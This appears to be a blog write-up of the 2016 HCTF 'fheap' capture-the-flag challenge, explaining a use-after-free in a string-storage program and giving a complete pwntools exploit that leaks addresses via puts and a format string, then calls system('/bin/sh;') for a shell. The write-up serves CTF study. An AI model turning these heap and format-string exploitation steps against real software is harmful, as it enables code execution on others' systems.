Skip to main content

PWN_2016_hctf_fheap

· 6 min read
MuelNova
Pwner who wants to write codes.

After a few months, updating again (laughing emoji).

I revisited the content related to heap a few days ago, as I had forgotten everything I had learned months ago.

This time, I found a challenge on ctf-wiki.

SRC

I compiled it myself, so the addresses will be different from its exploit.

The challenge implements create and delete functionalities.

main

In the createStr() function, it handles strings of different sizes differently.

When nbytesa (which is strlen(str)) > 0xf, it will malloc another address to store the str separately, and then store this address in ptr; otherwise, it will directly store in ptr.

createStr

In the deleteStr() function, it can be observed that it only clears *(&Strings + 4 * Int) and does not clear *(&Strings + 2 * Int + 1), which is the data of ptr. This provides us with the possibility of using Double Free and UAF, and the check is based on ptr.

deleteStr

Approach

The approach is relatively clear: allocate two strings smaller than 0xf, free them, so both chunks are put in the fastbin. Then allocate a 0x20 size string again, ptr will retrieve one chunk from the fastbin (let's call it 0), and the string will retrieve the other one (let's call it 1).

At this point, we can overwrite ptr + 3 in 1, which is the original location of the freeShort function. If we then delete(1) at this moment, it will execute our malicious address.

Exploit

from typing import Literal, Optional, AnyStr
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'

sh = process(['./pwn'])


def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")


def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)


def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)


def quit_():
menu(3)


def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)

First, set up the basic menu functions.

Following our approach, let's try to overwrite the following:

create(4, b'aa')  # 0
create(4, b'aa') # 1
delete(1)
delete(0)
gdb_(1)
create(0x20, b'a'*0x10 + b'b'*0x08 + p64(0xdeadbeef))

image-20220712220738138

As seen, our freeShort function has been successfully overwritten. Now, when executing delete(1), it will execute the function at 0x00005571deadbeef and use ptr itself as the parameter.

However, it's important to note that due to almost all protections being enabled, we currently cannot leak libc_base.

checksec

By observing in IDA, it can be noticed that right after the two free calls, there is a call _puts. Considering the characteristic of ASLR not randomizing the lower 12 bits, by directly changing the last two bytes to \x7c, we can make the free operation execute puts(ptr). Based on the information in the image, the result of puts should be 'a'*0x10+'b'*0x10+addr_of_call__puts, then subtract 0x147C to determine the base address of the program.

IDA

create(4, b'aa')  # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
gdb_(1, 'b deleteStr')
delete(1) # -> call _puts

The puts(ptr) is successfully executed, and the program's base address is calculated.

image-20220712221540664

image-20220712221653582

How do we leak libc_base? At this point, since we can execute at any address and the first parameter is controllable, we can use a format string vulnerability to output the address of a specific function and then find the libc_base.

I chose to use printf at 0x150E. Note that I set eax to zero before executing printf to prevent a test al, al instruction at printf+7 from not jumping if al is not zero, which would lead to an alignment issue with movaps at printf+34. The alignment cannot be fully controlled by us.

One might try to realign the memory and then use DynELF to achieve alignment, but I saw in their write-up that they didn't succeed in reproducing it. Repeated create did not realign the memory.

image-20220712221905504

According to the stack layout, we can identify 0x7ffe3a3d1758 as the position of printf+153. We can use fmtarg 0x7ffe3a3d1758 to calculate the offset (or calculate with 6+12-1 otherwise).

pwndbg> fmtarg 0x7ffe3a3d1758
The index of format argument : 18 ("\%17$p")

This way, we determine the address of printf+153.

image-20220712222931911

Next steps involve using the libc-database to determine the libc version and calculate libc_base, system_addr, and craft /bin/sh;.

It's worth noting that /bin/sh; is constructed instead of /bin/sh\x00 as system() may execute more than just /bin/sh preventing truncation.

Full exploit:

from typing import Literal, Optional, AnyStr
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'

sh = process(['./pwn'])


def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")


def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)


def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)


def quit_():
menu(3)


def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)

create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)

create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf))
delete(1)
sh.recvuntil(b"Nova")

printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
libc_base = printf_addr - 0x55810
system_addr = libc_base + 0x453a0
print(">>>", hex(printf_addr))
sh.sendline(b"")
sh.sendline(b"")

delete(0)
create(0x20, b'/bin/sh;' + b'b'*(0x18-len(b'/bin/sh;')) + p64(system_addr))
delete(1)
sh.interactive()

Summary

This was a more comprehensive challenge involving UAF, which took around six to seven hours. I went through the DynELF documentation, spent a lot of time on movaps, but in the end, I solved it using a more conventional approach. Finally, we got it, cheers for that!

Loading Comments...